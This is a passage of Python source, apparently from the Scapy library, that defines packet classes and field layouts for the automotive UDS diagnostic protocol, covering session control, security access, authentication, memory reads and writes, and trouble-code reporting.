0x50: 'DiagnosticSessionControlPositiveResponse', 0x51: 'ECUResetPositiveResponse', 0x54: 'ClearDiagnosticInformationPositiveResponse', 0x59: 'ReadDTCInformationPositiveResponse', 0x62: 'ReadDataByIdentifierPositiveResponse', 0x63: 'ReadMemoryByAddressPositiveResponse', 0x64: 'ReadScalingDataByIdentifierPositiveResponse', 0x67: 'SecurityAccessPositiveResponse', 0x68: 'CommunicationControlPositiveResponse', 0x69: 'AuthenticationPositiveResponse', 0x6A: 'ReadDataPeriodicIdentifierPositiveResponse', 0x6C: 'DynamicallyDefineDataIdentifierPositiveResponse', 0x6E: 'WriteDataByIdentifierPositiveResponse', 0x6F: 'InputOutputControlByIdentifierPositiveResponse', 0x71: 'RoutineControlPositiveResponse', 0x74: 'RequestDownloadPositiveResponse', 0x75: 'RequestUploadPositiveResponse', 0x76: 'TransferDataPositiveResponse', 0x77: 'RequestTransferExitPositiveResponse', 0x78: 'RequestFileTransferPositiveResponse', 0x7D: 'WriteMemoryByAddressPositiveResponse', 0x7E: 'TesterPresentPositiveResponse', 0x83: 'AccessTimingParameter', 0x84: 'SecuredDataTransmission', 0x85: 'ControlDTCSetting', 0x86: 'ResponseOnEvent', 0x87: 'LinkControl', 0xC3: 'AccessTimingParameterPositiveResponse', 0xC4: 'SecuredDataTransmissionPositiveResponse', 0xC5: 'ControlDTCSettingPositiveResponse', 0xC6: 'ResponseOnEventPositiveResponse', 0xC7: 'LinkControlPositiveResponse', 0x7f: 'NegativeResponse'}) # type: Dict[int, str] name = 'UDS' fields_desc = [ XByteEnumField('service', 0, services) ] def answers(self, other): # type: (Union[UDS, Packet]) -> bool if other.__class__ != self.__class__: return False if self.service == 0x7f: return self.payload.answers(other) if self.service == (other.service + 0x40): if isinstance(self.payload, NoPayload) or \ isinstance(other.payload, NoPayload): return len(self) <= len(other) else: return self.payload.answers(other.payload) return False def hashret(self): # type: () -> bytes if self.service == 0x7f and len(self) >= 3: return struct.pack('B', bytes(self)[1] & ~0x40) return struct.pack('B', self.service & ~0x40) # ########################DSC################################### class UDS_DSC(Packet): diagnosticSessionTypes = ObservableDict({ 0x00: 'ISOSAEReserved', 0x01: 'defaultSession', 0x02: 'programmingSession', 0x03: 'extendedDiagnosticSession', 0x04: 'safetySystemDiagnosticSession', 0x7F: 'ISOSAEReserved'}) name = 'DiagnosticSessionControl' fields_desc = [ ByteEnumField('diagnosticSessionType', 0, diagnosticSessionTypes) ] bind_layers(UDS, UDS_DSC, service=0x10) class UDS_DSCPR(Packet): name = 'DiagnosticSessionControlPositiveResponse' fields_desc = [ ByteEnumField('diagnosticSessionType', 0, UDS_DSC.diagnosticSessionTypes), StrField('sessionParameterRecord', b"") ] def answers(self, other): return isinstance(other, UDS_DSC) and \ other.diagnosticSessionType == self.diagnosticSessionType bind_layers(UDS, UDS_DSCPR, service=0x50) # #########################ER################################### class UDS_ER(Packet): resetTypes = { 0x00: 'ISOSAEReserved', 0x01: 'hardReset', 0x02: 'keyOffOnReset', 0x03: 'softReset', 0x04: 'enableRapidPowerShutDown', 0x05: 'disableRapidPowerShutDown', 0x41: 'powerDown', 0x7F: 'ISOSAEReserved'} name = 'ECUReset' fields_desc = [ ByteEnumField('resetType', 0, resetTypes) ] bind_layers(UDS, UDS_ER, service=0x11) class UDS_ERPR(Packet): name = 'ECUResetPositiveResponse' fields_desc = [ ByteEnumField('resetType', 0, UDS_ER.resetTypes), ConditionalField(ByteField('powerDownTime', 0), lambda pkt: pkt.resetType == 0x04) ] def answers(self, other): return isinstance(other, UDS_ER) and other.resetType == self.resetType bind_layers(UDS, UDS_ERPR, service=0x51) # #########################SA################################### class UDS_SA(Packet): name = 'SecurityAccess' fields_desc = [ ByteField('securityAccessType', 0), ConditionalField(StrField('securityAccessDataRecord', b""), lambda pkt: pkt.securityAccessType % 2 == 1), ConditionalField(StrField('securityKey', b""), lambda pkt: pkt.securityAccessType % 2 == 0) ] bind_layers(UDS, UDS_SA, service=0x27) class UDS_SAPR(Packet): name = 'SecurityAccessPositiveResponse' fields_desc = [ ByteField('securityAccessType', 0), ConditionalField(StrField('securitySeed', b""), lambda pkt: pkt.securityAccessType % 2 == 1), ] def answers(self, other): return isinstance(other, UDS_SA) \ and other.securityAccessType == self.securityAccessType bind_layers(UDS, UDS_SAPR, service=0x67) # #########################CC################################### class UDS_CC(Packet): controlTypes = { 0x00: 'enableRxAndTx', 0x01: 'enableRxAndDisableTx', 0x02: 'disableRxAndEnableTx', 0x03: 'disableRxAndTx' } name = 'CommunicationControl' fields_desc = [ ByteEnumField('controlType', 0, controlTypes), BitEnumField('communicationType0', 0, 2, {0: 'ISOSAEReserved', 1: 'normalCommunicationMessages', 2: 'networkManagmentCommunicationMessages', 3: 'networkManagmentCommunicationMessages and ' 'normalCommunicationMessages'}), BitField('communicationType1', 0, 2), BitEnumField('communicationType2', 0, 4, {0: 'Disable/Enable specified communication Type', 1: 'Disable/Enable specific subnet', 2: 'Disable/Enable specific subnet', 3: 'Disable/Enable specific subnet', 4: 'Disable/Enable specific subnet', 5: 'Disable/Enable specific subnet', 6: 'Disable/Enable specific subnet', 7: 'Disable/Enable specific subnet', 8: 'Disable/Enable specific subnet', 9: 'Disable/Enable specific subnet', 10: 'Disable/Enable specific subnet', 11: 'Disable/Enable specific subnet', 12: 'Disable/Enable specific subnet', 13: 'Disable/Enable specific subnet', 14: 'Disable/Enable specific subnet', 15: 'Disable/Enable network'}) ] bind_layers(UDS, UDS_CC, service=0x28) class UDS_CCPR(Packet): name = 'CommunicationControlPositiveResponse' fields_desc = [ ByteEnumField('controlType', 0, UDS_CC.controlTypes) ] def answers(self, other): return isinstance(other, UDS_CC) \ and other.controlType == self.controlType bind_layers(UDS, UDS_CCPR, service=0x68) # #########################AUTH################################### class UDS_AUTH(Packet): subFunctions = { 0x00: 'deAuthenticate', 0x01: 'verifyCertificateUnidirectional', 0x02: 'verifyCertificateBidirectional', 0x03: 'proofOfOwnership', 0x04: 'transmitCertificate', 0x05: 'requestChallengeForAuthentication', 0x06: 'verifyProofOfOwnershipUnidirectional', 0x07: 'verifyProofOfOwnershipBidirectional', 0x08: 'authenticationConfiguration', 0x7F: 'ISOSAEReserved' } name = "Authentication" fields_desc = [ ByteEnumField('subFunction', 0, subFunctions), ConditionalField(XByteField('communicationConfiguration', 0), lambda pkt: pkt.subFunction in [0x01, 0x02, 0x5]), ConditionalField(XShortField('certificateEvaluationId', 0), lambda pkt: pkt.subFunction == 0x04), ConditionalField(XStrFixedLenField('algorithmIndicator', 0, length=16), lambda pkt: pkt.subFunction in [0x05, 0x06, 0x07]), ConditionalField(FieldLenField('lengthOfCertificateClient', None, fmt="H", length_of='certificateClient'), lambda pkt: pkt.subFunction in [0x01, 0x02]), ConditionalField(XStrLenField('certificateClient', b"", length_from=lambda p: p.lengthOfCertificateClient), lambda pkt: pkt.subFunction in [0x01, 0x02]), ConditionalField(FieldLenField('lengthOfProofOfOwnershipClient', None, fmt="H", length_of='proofOfOwnershipClient'), lambda pkt: pkt.subFunction in [0x03, 0x06, 0x07]), ConditionalField(XStrLenField('proofOfOwnershipClient', b"", length_from=lambda p: p.lengthOfProofOfOwnershipClient), lambda pkt: pkt.subFunction in [0x03, 0x06, 0x07]), ConditionalField(FieldLenField('lengthOfChallengeClient', None, fmt="H", length_of='challengeClient'), lambda pkt: pkt.subFunction in [0x01, 0x02, 0x06, 0x07]), ConditionalField(XStrLenField('challengeClient', b"", length_from=lambda p: p.lengthOfChallengeClient), lambda pkt: pkt.subFunction in [0x01, 0x02, 0x06, 0x07]), ConditionalField(FieldLenField('lengthOfEphemeralPublicKeyClient', None, fmt="H", length_of='ephemeralPublicKeyClient'), lambda pkt: pkt.subFunction == 0x03), ConditionalField(XStrLenField('ephemeralPublicKeyClient', b"", length_from=lambda p: p.lengthOfEphemeralPublicKeyClient), lambda pkt: pkt.subFunction == 0x03), ConditionalField(FieldLenField('lengthOfCertificateData', None, fmt="H", length_of='certificateData'), lambda pkt: pkt.subFunction == 0x04), ConditionalField(XStrLenField('certificateData', b"", length_from=lambda p: p.lengthOfCertificateData), lambda pkt: pkt.subFunction == 0x04), ConditionalField(FieldLenField('lengthOfAdditionalParameter', None, fmt="H", length_of='additionalParameter'), lambda pkt: pkt.subFunction in [0x06, 0x07]), ConditionalField(XStrLenField('additionalParameter', b"", length_from=lambda p: p.lengthOfAdditionalParameter), lambda pkt: pkt.subFunction in [0x06, 0x07]), ] bind_layers(UDS, UDS_AUTH, service=0x29) class UDS_AUTHPR(Packet): authenticationReturnParameterTypes = { 0x00: 'requestAccepted', 0x01: 'generalReject', # Authentication with PKI Certificate Exchange (ACPE) 0x02: 'authenticationConfigurationAPCE', # Authentication with Challenge-Response (ACR) 0x03: 'authenticationConfigurationACRWithAsymmetricCryptography', 0x04: 'authenticationConfigurationACRWithSymmetricCryptography', 0x05: 'ISOSAEReserved', 0x0F: 'ISOSAEReserved', 0x10: 'deAuthenticationSuccessful', 0x11: 'certificateVerifiedOwnershipVerificationNecessary', 0x12: 'ownershipVerifiedAuthenticationComplete', 0x13: 'certificateVerified', 0x14: 'ISOSAEReserved', 0x9F: 'ISOSAEReserved', 0xFF: 'ISOSAEReserved' } name = 'AuthenticationPositiveResponse' fields_desc = [ ByteEnumField('subFunction', 0, UDS_AUTH.subFunctions), ByteEnumField('returnValue', 0, authenticationReturnParameterTypes), ConditionalField(XStrFixedLenField('algorithmIndicator', 0, length=16), lambda pkt: pkt.subFunction in [0x05, 0x06, 0x07]), ConditionalField(FieldLenField('lengthOfChallengeServer', None, fmt="H", length_of='challengeServer'), lambda pkt: pkt.subFunction in [0x01, 0x02, 0x05]), ConditionalField(XStrLenField('challengeServer', b"", length_from=lambda p: p.lengthOfChallengeServer), lambda pkt: pkt.subFunction in [0x01, 0x02, 0x05]), ConditionalField(FieldLenField('lengthOfCertificateServer', None, fmt="H", length_of='certificateServer'), lambda pkt: pkt.subFunction == 0x02), ConditionalField(XStrLenField('certificateServer', b"", length_from=lambda p: p.lengthOfCertificateServer), lambda pkt: pkt.subFunction == 0x02), ConditionalField(FieldLenField('lengthOfProofOfOwnershipServer', None, fmt="H", length_of='proofOfOwnershipServer'), lambda pkt: pkt.subFunction in [0x02, 0x07]), ConditionalField(XStrLenField('proofOfOwnershipServer', b"", length_from=lambda p: p.lengthOfProofOfOwnershipServer), lambda pkt: pkt.subFunction in [0x02, 0x07]), ConditionalField(FieldLenField('lengthOfSessionKeyInfo', None, fmt="H", length_of='sessionKeyInfo'), lambda pkt: pkt.subFunction in [0x03, 0x06, 0x07]), ConditionalField(XStrLenField('sessionKeyInfo', b"", length_from=lambda p: p.lengthOfSessionKeyInfo), lambda pkt: pkt.subFunction in [0x03, 0x06, 0x07]), ConditionalField(FieldLenField('lengthOfEphemeralPublicKeyServer', None, fmt="H", length_of='ephemeralPublicKeyServer'), lambda pkt: pkt.subFunction in [0x01, 0x02]), ConditionalField(XStrLenField('ephemeralPublicKeyServer', b"", length_from=lambda p: p.lengthOfEphemeralPublicKeyServer), lambda pkt: pkt.subFunction in [0x1, 0x02]), ConditionalField(FieldLenField('lengthOfNeededAdditionalParameter', None, fmt="H", length_of='neededAdditionalParameter'), lambda pkt: pkt.subFunction == 0x05), ConditionalField(XStrLenField('neededAdditionalParameter', b"", length_from=lambda p: p.lengthOfNeededAdditionalParameter), lambda pkt: pkt.subFunction == 0x05), ] def answers(self, other): return isinstance(other, UDS_AUTH) \ and other.subFunction == self.subFunction bind_layers(UDS, UDS_AUTHPR, service=0x69) # #########################TP################################### class UDS_TP(Packet): name = 'TesterPresent' fields_desc = [ ByteField('subFunction', 0) ] bind_layers(UDS, UDS_TP, service=0x3E) class UDS_TPPR(Packet): name = 'TesterPresentPositiveResponse' fields_desc = [ ByteField('zeroSubFunction', 0) ] def answers(self, other): return isinstance(other, UDS_TP) bind_layers(UDS, UDS_TPPR, service=0x7E) # #########################ATP################################### class UDS_ATP(Packet): timingParameterAccessTypes = { 0: 'ISOSAEReserved', 1: 'readExtendedTimingParameterSet', 2: 'setTimingParametersToDefaultValues', 3: 'readCurrentlyActiveTimingParameters', 4: 'setTimingParametersToGivenValues' } name = 'AccessTimingParameter' fields_desc = [ ByteEnumField('timingParameterAccessType', 0, timingParameterAccessTypes), ConditionalField(StrField('timingParameterRequestRecord', b""), lambda pkt: pkt.timingParameterAccessType == 0x4) ] bind_layers(UDS, UDS_ATP, service=0x83) class UDS_ATPPR(Packet): name = 'AccessTimingParameterPositiveResponse' fields_desc = [ ByteEnumField('timingParameterAccessType', 0, UDS_ATP.timingParameterAccessTypes), ConditionalField(StrField('timingParameterResponseRecord', b""), lambda pkt: pkt.timingParameterAccessType == 0x3) ] def answers(self, other): return isinstance(other, UDS_ATP) \ and other.timingParameterAccessType == \ self.timingParameterAccessType bind_layers(UDS, UDS_ATPPR, service=0xC3) # #########################SDT################################### # TODO: Implement correct internal message service handling here, # instead of using just the dataRecord class UDS_SDT(Packet): name = 'SecuredDataTransmission' fields_desc = [ BitField('requestMessage', 0, 1), BitField('ISOSAEReservedBackwardsCompatibility', 0, 2), BitField('preEstablishedKeyUsed', 0, 1), BitField('encryptedMessage', 0, 1), BitField('signedMessage', 0, 1), BitField('signedResponseRequested', 0, 1), BitField('ISOSAEReserved', 0, 9), ByteField('signatureEncryptionCalculation', 0), XShortField('signatureLength', 0), XShortField('antiReplayCounter', 0), ByteField('internalMessageServiceRequestId', 0), StrField('dataRecord', b"", fmt="B") ] bind_layers(UDS, UDS_SDT, service=0x84) class UDS_SDTPR(Packet): name = 'SecuredDataTransmissionPositiveResponse' fields_desc = [ BitField('requestMessage', 0, 1), BitField('ISOSAEReservedBackwardsCompatibility', 0, 2), BitField('preEstablishedKeyUsed', 0, 1), BitField('encryptedMessage', 0, 1), BitField('signedMessage', 0, 1), BitField('signedResponseRequested', 0, 1), BitField('ISOSAEReserved', 0, 9), ByteField('signatureEncryptionCalculation', 0), XShortField('signatureLength', 0), XShortField('antiReplayCounter', 0), ByteField('internalMessageServiceResponseId', 0), StrField('dataRecord', b"", fmt="B") ] def answers(self, other): return isinstance(other, UDS_SDT) bind_layers(UDS, UDS_SDTPR, service=0xC4) # #########################CDTCS################################### class UDS_CDTCS(Packet): DTCSettingTypes = { 0: 'ISOSAEReserved', 1: 'on', 2: 'off' } name = 'ControlDTCSetting' fields_desc = [ ByteEnumField('DTCSettingType', 0, DTCSettingTypes), StrField('DTCSettingControlOptionRecord', b"") ] bind_layers(UDS, UDS_CDTCS, service=0x85) class UDS_CDTCSPR(Packet): name = 'ControlDTCSettingPositiveResponse' fields_desc = [ ByteEnumField('DTCSettingType', 0, UDS_CDTCS.DTCSettingTypes) ] def answers(self, other): return isinstance(other, UDS_CDTCS) bind_layers(UDS, UDS_CDTCSPR, service=0xC5) # #########################ROE################################### # TODO: improve this protocol implementation class UDS_ROE(Packet): eventTypes = { 0: 'doNotStoreEvent', 1: 'storeEvent' } name = 'ResponseOnEvent' fields_desc = [ ByteEnumField('eventType', 0, eventTypes), ByteField('eventWindowTime', 0), StrField('eventTypeRecord', b"") ] bind_layers(UDS, UDS_ROE, service=0x86) class UDS_ROEPR(Packet): name = 'ResponseOnEventPositiveResponse' fields_desc = [ ByteEnumField('eventType', 0, UDS_ROE.eventTypes), ByteField('numberOfIdentifiedEvents', 0), ByteField('eventWindowTime', 0), StrField('eventTypeRecord', b"") ] def answers(self, other): return isinstance(other, UDS_ROE) \ and other.eventType == self.eventType bind_layers(UDS, UDS_ROEPR, service=0xC6) # #########################LC################################### class UDS_LC(Packet): linkControlTypes = { 0: 'ISOSAEReserved', 1: 'verifyBaudrateTransitionWithFixedBaudrate', 2: 'verifyBaudrateTransitionWithSpecificBaudrate', 3: 'transitionBaudrate' } name = 'LinkControl' fields_desc = [ ByteEnumField('linkControlType', 0, linkControlTypes), ConditionalField(ByteField('baudrateIdentifier', 0), lambda pkt: pkt.linkControlType == 0x1), ConditionalField(ByteField('baudrateHighByte', 0), lambda pkt: pkt.linkControlType == 0x2), ConditionalField(ByteField('baudrateMiddleByte', 0), lambda pkt: pkt.linkControlType == 0x2), ConditionalField(ByteField('baudrateLowByte', 0), lambda pkt: pkt.linkControlType == 0x2) ] bind_layers(UDS, UDS_LC, service=0x87) class UDS_LCPR(Packet): name = 'LinkControlPositiveResponse' fields_desc = [ ByteEnumField('linkControlType', 0, UDS_LC.linkControlTypes) ] def answers(self, other): return isinstance(other, UDS_LC) \ and other.linkControlType == self.linkControlType bind_layers(UDS, UDS_LCPR, service=0xC7) # #########################RDBI################################### class UDS_RDBI(Packet): dataIdentifiers = ObservableDict() name = 'ReadDataByIdentifier' fields_desc = [ FieldListField("identifiers", None, XShortEnumField('dataIdentifier', 0, dataIdentifiers)) ] bind_layers(UDS, UDS_RDBI, service=0x22) class UDS_RDBIPR(Packet): name = 'ReadDataByIdentifierPositiveResponse' fields_desc = [ XShortEnumField('dataIdentifier', 0, UDS_RDBI.dataIdentifiers), ] def answers(self, other): return isinstance(other, UDS_RDBI) \ and self.dataIdentifier in other.identifiers bind_layers(UDS, UDS_RDBIPR, service=0x62) # #########################RMBA################################### class UDS_RMBA(Packet): name = 'ReadMemoryByAddress' fields_desc = [ BitField('memorySizeLen', 0, 4), BitField('memoryAddressLen', 0, 4), ConditionalField(XByteField('memoryAddress1', 0), lambda pkt: pkt.memoryAddressLen == 1), ConditionalField(XShortField('memoryAddress2', 0), lambda pkt: pkt.memoryAddressLen == 2), ConditionalField(X3BytesField('memoryAddress3', 0), lambda pkt: pkt.memoryAddressLen == 3), ConditionalField(XIntField('memoryAddress4', 0), lambda pkt: pkt.memoryAddressLen == 4), ConditionalField(XByteField('memorySize1', 0), lambda pkt: pkt.memorySizeLen == 1), ConditionalField(XShortField('memorySize2', 0), lambda pkt: pkt.memorySizeLen == 2), ConditionalField(X3BytesField('memorySize3', 0), lambda pkt: pkt.memorySizeLen == 3), ConditionalField(XIntField('memorySize4', 0), lambda pkt: pkt.memorySizeLen == 4), ] bind_layers(UDS, UDS_RMBA, service=0x23) class UDS_RMBAPR(Packet): name = 'ReadMemoryByAddressPositiveResponse' fields_desc = [ StrField('dataRecord', b"", fmt="B") ] def answers(self, other): return isinstance(other, UDS_RMBA) bind_layers(UDS, UDS_RMBAPR, service=0x63) # #########################RSDBI################################### class UDS_RSDBI(Packet): name = 'ReadScalingDataByIdentifier' dataIdentifiers = ObservableDict() fields_desc = [ XShortEnumField('dataIdentifier', 0, dataIdentifiers) ] bind_layers(UDS, UDS_RSDBI, service=0x24) # TODO: Implement correct scaling here, instead of using just the dataRecord class UDS_RSDBIPR(Packet): name = 'ReadScalingDataByIdentifierPositiveResponse' fields_desc = [ XShortEnumField('dataIdentifier', 0, UDS_RSDBI.dataIdentifiers), ByteField('scalingByte', 0), StrField('dataRecord', b"", fmt="B") ] def answers(self, other): return isinstance(other, UDS_RSDBI) \ and other.dataIdentifier == self.dataIdentifier bind_layers(UDS, UDS_RSDBIPR, service=0x64) # #########################RDBPI################################### class UDS_RDBPI(Packet): periodicDataIdentifiers = ObservableDict() transmissionModes = { 0: 'ISOSAEReserved', 1: 'sendAtSlowRate', 2: 'sendAtMediumRate', 3: 'sendAtFastRate', 4: 'stopSending' } name = 'ReadDataByPeriodicIdentifier' fields_desc = [ ByteEnumField('transmissionMode', 0, transmissionModes), ByteEnumField('periodicDataIdentifier', 0, periodicDataIdentifiers), StrField('furtherPeriodicDataIdentifier', b"", fmt="B") ] bind_layers(UDS, UDS_RDBPI, service=0x2A) # TODO: Implement correct scaling here, instead of using just the dataRecord class UDS_RDBPIPR(Packet): name = 'ReadDataByPeriodicIdentifierPositiveResponse' fields_desc = [ ByteField('periodicDataIdentifier', 0), StrField('dataRecord', b"", fmt="B") ] def answers(self, other): return isinstance(other, UDS_RDBPI) \ and other.periodicDataIdentifier == self.periodicDataIdentifier bind_layers(UDS, UDS_RDBPIPR, service=0x6A) # #########################DDDI################################### # TODO: Implement correct interpretation here, # instead of using just the dataRecord class UDS_DDDI(Packet): name = 'DynamicallyDefineDataIdentifier' subFunctions = {0x1: "defineByIdentifier", 0x2: "defineByMemoryAddress", 0x3: "clearDynamicallyDefinedDataIdentifier"} fields_desc = [ ByteEnumField('subFunction', 0, subFunctions), StrField('dataRecord', b"", fmt="B") ] bind_layers(UDS, UDS_DDDI, service=0x2C) class UDS_DDDIPR(Packet): name = 'DynamicallyDefineDataIdentifierPositiveResponse' fields_desc = [ ByteEnumField('subFunction', 0, UDS_DDDI.subFunctions), XShortField('dynamicallyDefinedDataIdentifier', 0) ] def answers(self, other): return isinstance(other, UDS_DDDI) \ and other.subFunction == self.subFunction bind_layers(UDS, UDS_DDDIPR, service=0x6C) # #########################WDBI################################### class UDS_WDBI(Packet): name = 'WriteDataByIdentifier' fields_desc = [ XShortEnumField('dataIdentifier', 0, UDS_RDBI.dataIdentifiers) ] bind_layers(UDS, UDS_WDBI, service=0x2E) class UDS_WDBIPR(Packet): name = 'WriteDataByIdentifierPositiveResponse' fields_desc = [ XShortEnumField('dataIdentifier', 0, UDS_RDBI.dataIdentifiers), ] def answers(self, other): return isinstance(other, UDS_WDBI) \ and other.dataIdentifier == self.dataIdentifier bind_layers(UDS, UDS_WDBIPR, service=0x6E) # #########################WMBA################################### class UDS_WMBA(Packet): name = 'WriteMemoryByAddress' fields_desc = [ BitField('memorySizeLen', 0, 4), BitField('memoryAddressLen', 0, 4), ConditionalField(XByteField('memoryAddress1', 0), lambda pkt: pkt.memoryAddressLen == 1), ConditionalField(XShortField('memoryAddress2', 0), lambda pkt: pkt.memoryAddressLen == 2), ConditionalField(X3BytesField('memoryAddress3', 0), lambda pkt: pkt.memoryAddressLen == 3), ConditionalField(XIntField('memoryAddress4', 0), lambda pkt: pkt.memoryAddressLen == 4), ConditionalField(XByteField('memorySize1', 0), lambda pkt: pkt.memorySizeLen == 1), ConditionalField(XShortField('memorySize2', 0), lambda pkt: pkt.memorySizeLen == 2), ConditionalField(X3BytesField('memorySize3', 0), lambda pkt: pkt.memorySizeLen == 3), ConditionalField(XIntField('memorySize4', 0), lambda pkt: pkt.memorySizeLen == 4), StrField('dataRecord', b'', fmt="B"), ] bind_layers(UDS, UDS_WMBA, service=0x3D) class UDS_WMBAPR(Packet): name = 'WriteMemoryByAddressPositiveResponse' fields_desc = [ BitField('memorySizeLen', 0, 4), BitField('memoryAddressLen', 0, 4), ConditionalField(XByteField('memoryAddress1', 0), lambda pkt: pkt.memoryAddressLen == 1), ConditionalField(XShortField('memoryAddress2', 0), lambda pkt: pkt.memoryAddressLen == 2), ConditionalField(X3BytesField('memoryAddress3', 0), lambda pkt: pkt.memoryAddressLen == 3), ConditionalField(XIntField('memoryAddress4', 0), lambda pkt: pkt.memoryAddressLen == 4), ConditionalField(XByteField('memorySize1', 0), lambda pkt: pkt.memorySizeLen == 1), ConditionalField(XShortField('memorySize2', 0), lambda pkt: pkt.memorySizeLen == 2), ConditionalField(X3BytesField('memorySize3', 0), lambda pkt: pkt.memorySizeLen == 3), ConditionalField(XIntField('memorySize4', 0), lambda pkt: pkt.memorySizeLen == 4) ] def answers(self, other): return isinstance(other, UDS_WMBA) \ and other.memorySizeLen == self.memorySizeLen \ and other.memoryAddressLen == self.memoryAddressLen bind_layers(UDS, UDS_WMBAPR, service=0x7D) # ##########################DTC##################################### class DTC(Packet): name = 'Diagnostic Trouble Code' dtc_descriptions = {} # Customize this dictionary for each individual ECU / OEM fields_desc = [ BitEnumField("system", 0, 2, { 0: "Powertrain", 1: "Chassis", 2: "Body", 3: "Network"}), BitEnumField("type", 0, 2, { 0: "Generic", 1: "ManufacturerSpecific", 2: "Generic", 3: "Generic"}), BitField("numeric_value_code", 0, 12), ByteField("additional_information_code", 0), ] def extract_padding(self, s): return '', s # #########################CDTCI################################### class UDS_CDTCI(Packet): name = 'ClearDiagnosticInformation' fields_desc = [ ByteField('groupOfDTCHighByte', 0), ByteField('groupOfDTCMiddleByte', 0), ByteField('groupOfDTCLowByte', 0), ] bind_layers(UDS, UDS_CDTCI, service=0x14) class UDS_CDTCIPR(Packet): name = 'ClearDiagnosticInformationPositiveResponse' def answers(self, other): return isinstance(other, UDS_CDTCI) bind_layers(UDS, UDS_CDTCIPR, service=0x54) # #########################RDTCI################################### class UDS_RDTCI(Packet): reportTypes = { 0: 'ISOSAEReserved', 1: 'reportNumberOfDTCByStatusMask', 2: 'reportDTCByStatusMask', 3: 'reportDTCSnapshotIdentification', 4: 'reportDTCSnapshotRecordByDTCNumber', 5: 'reportDTCSnapshotRecordByRecordNumber', 6: 'reportDTCExtendedDataRecordByDTCNumber', 7: 'reportNumberOfDTCBySeverityMaskRecord', 8: 'reportDTCBySeverityMaskRecord', 9: 'reportSeverityInformationOfDTC', 10: 'reportSupportedDTC', 11: 'reportFirstTestFailedDTC', 12: 'reportFirstConfirmedDTC', 13: 'reportMostRecentTestFailedDTC', 14: 'reportMostRecentConfirmedDTC', 15: 'reportMirrorMemoryDTCByStatusMask', 16: 'reportMirrorMemoryDTCExtendedDataRecordByDTCNumber', 17: 'reportNumberOfMirrorMemoryDTCByStatusMask', 18: 'reportNumberOfEmissionsRelatedOBDDTCByStatusMask', 19: 'reportEmissionsRelatedOBDDTCByStatusMask', 20: 'reportDTCFaultDetectionCounter', 21: 'reportDTCWithPermanentStatus' } dtcStatus = { 1: 'TestFailed', 2: 'TestFailedThisOperationCycle', 4: 'PendingDTC', 8: 'ConfirmedDTC', 16: 'TestNotCompletedSinceLastClear', 32: 'TestFailedSinceLastClear', 64: 'TestNotCompletedThisOperationCycle', 128: 'WarningIndicatorRequested' } dtcStatusMask = { 1: 'ActiveDTCs', 4: 'PendingDTCs', 8: 'ConfirmedOrStoredDTCs', 255: 'AllRecordDTCs' } dtcSeverityMask = { # 0: 'NoSeverityInformation', 1: 'NoClassInformation', 2: 'WWH-OBDClassA', 4: 'WWH-OBDClassB1', 8: 'WWH-OBDClassB2', 16: 'WWH-OBDClassC', 32: 'MaintenanceRequired', 64: 'CheckAtNextHalt', 128: 'CheckImmediately' } name = 'ReadDTCInformation' fields_desc = [ ByteEnumField('reportType', 0, reportTypes), ConditionalField(FlagsField('DTCSeverityMask', 0, 8, dtcSeverityMask), lambda pkt: pkt.reportType in [0x07, 0x08]), ConditionalField(FlagsField('DTCStatusMask', 0, 8, dtcStatusMask), lambda pkt: pkt.reportType in [ 0x01, 0x02, 0x07, 0x08, 0x0f, 0x11, 0x12, 0x13]), ConditionalField(PacketField("dtc", None, pkt_cls=DTC), lambda pkt: pkt.reportType in [0x3, 0x4, 0x6, 0x10, 0x09]), ConditionalField(ByteField('DTCSnapshotRecordNumber', 0), lambda pkt: pkt.reportType in [0x3, 0x4, 0x5]), ConditionalField(ByteField('DTCExtendedDataRecordNumber', 0), lambda pkt: pkt.reportType in [0x6, 0x10]) ] bind_layers(UDS, UDS_RDTCI, service=0x19) class DTCAndStatusRecord(Packet): name = 'DTC and status record' fields_desc = [ PacketField("dtc", None, pkt_cls=DTC), FlagsField("status", 0, 8, UDS_RDTCI.dtcStatus) ] def extract_padding(self, s): return '', s class DTCExtendedData(Packet): name = 'Diagnostic Trouble Code Extended Data' dataTypes = ObservableDict() fields_desc = [ ByteEnumField("data_type", 0, dataTypes), XByteField("record", 0) ] def extract_padding(self, s): return '', s class DTCExtendedDataRecord(Packet): fields_desc = [ PacketField("dtcAndStatus", None, pkt_cls=DTCAndStatusRecord), PacketListField("extendedData", None, pkt_cls=DTCExtendedData) ] class DTCSnapshot(Packet): identifiers = defaultdict(list) # for later extension @staticmethod def next_identifier_cb(pkt, lst, cur, remain): return Raw fields_desc = [ ByteField("record_number", 0), ByteField("record_number_of_identifiers", 0), PacketListField( "snapshotData", None, next_cls_cb=lambda pkt, lst, cur, remain: DTCSnapshot.next_identifier_cb( pkt, lst, cur, remain)) ] def extract_padding(self, s): return '', s class DTCSnapshotRecord(Packet): fields_desc = [ PacketField("dtcAndStatus", None, pkt_cls=DTCAndStatusRecord), PacketListField("snapshots", None, pkt_cls=DTCSnapshot) ] class UDS_RDTCIPR(Packet): name = 'ReadDTCInformationPositiveResponse' fields_desc = [ ByteEnumField('reportType', 0, UDS_RDTCI.reportTypes), ConditionalField( FlagsField('DTCStatusAvailabilityMask', 0, 8, UDS_RDTCI.dtcStatus), lambda pkt: pkt.reportType in [0x01, 0x07, 0x09, 0x11, 0x12, 0x02, 0x0A, 0x0B, 0x0C, 0x0D, 0x0E, 0x0F, 0x13, 0x15]), ConditionalField(ByteField('DTCSeverity', 0), lambda pkt: pkt.reportType in [0x09]), ConditionalField(ByteField('DTCFunctionalUnit', 0), lambda pkt: pkt.reportType in [0x09]), ConditionalField(ByteEnumField('DTCFormatIdentifier', 0, {0: 'ISO15031-6DTCFormat', 1: 'UDS-1DTCFormat', 2: 'SAEJ1939-73DTCFormat', 3: 'ISO11992-4DTCFormat'}), lambda pkt: pkt.reportType in [0x01, 0x07, 0x11, 0x12]), ConditionalField(ShortField('DTCCount', 0), lambda pkt: pkt.reportType in [0x01, 0x07, 0x11, 0x12]), ConditionalField(PacketListField('DTCAndStatusRecord', None, pkt_cls=DTCAndStatusRecord), lambda pkt: pkt.reportType in [0x02, 0x09, 0x0A, 0x0B, 0x0C, 0x0D, 0x0E, 0x0F, 0x13, 0x15]), ConditionalField(StrField('dataRecord', b""), lambda pkt: pkt.reportType in [0x03, 0x08, 0x10, 0x14]), ConditionalField(PacketField('snapshotRecord', None, pkt_cls=DTCSnapshotRecord), lambda pkt: pkt.reportType in [0x04]), ConditionalField(PacketField('extendedDataRecord', None, pkt_cls=DTCExtendedDataRecord), lambda pkt: pkt.reportType in [0x06]) ] def answers(self, other): if not isinstance(other, 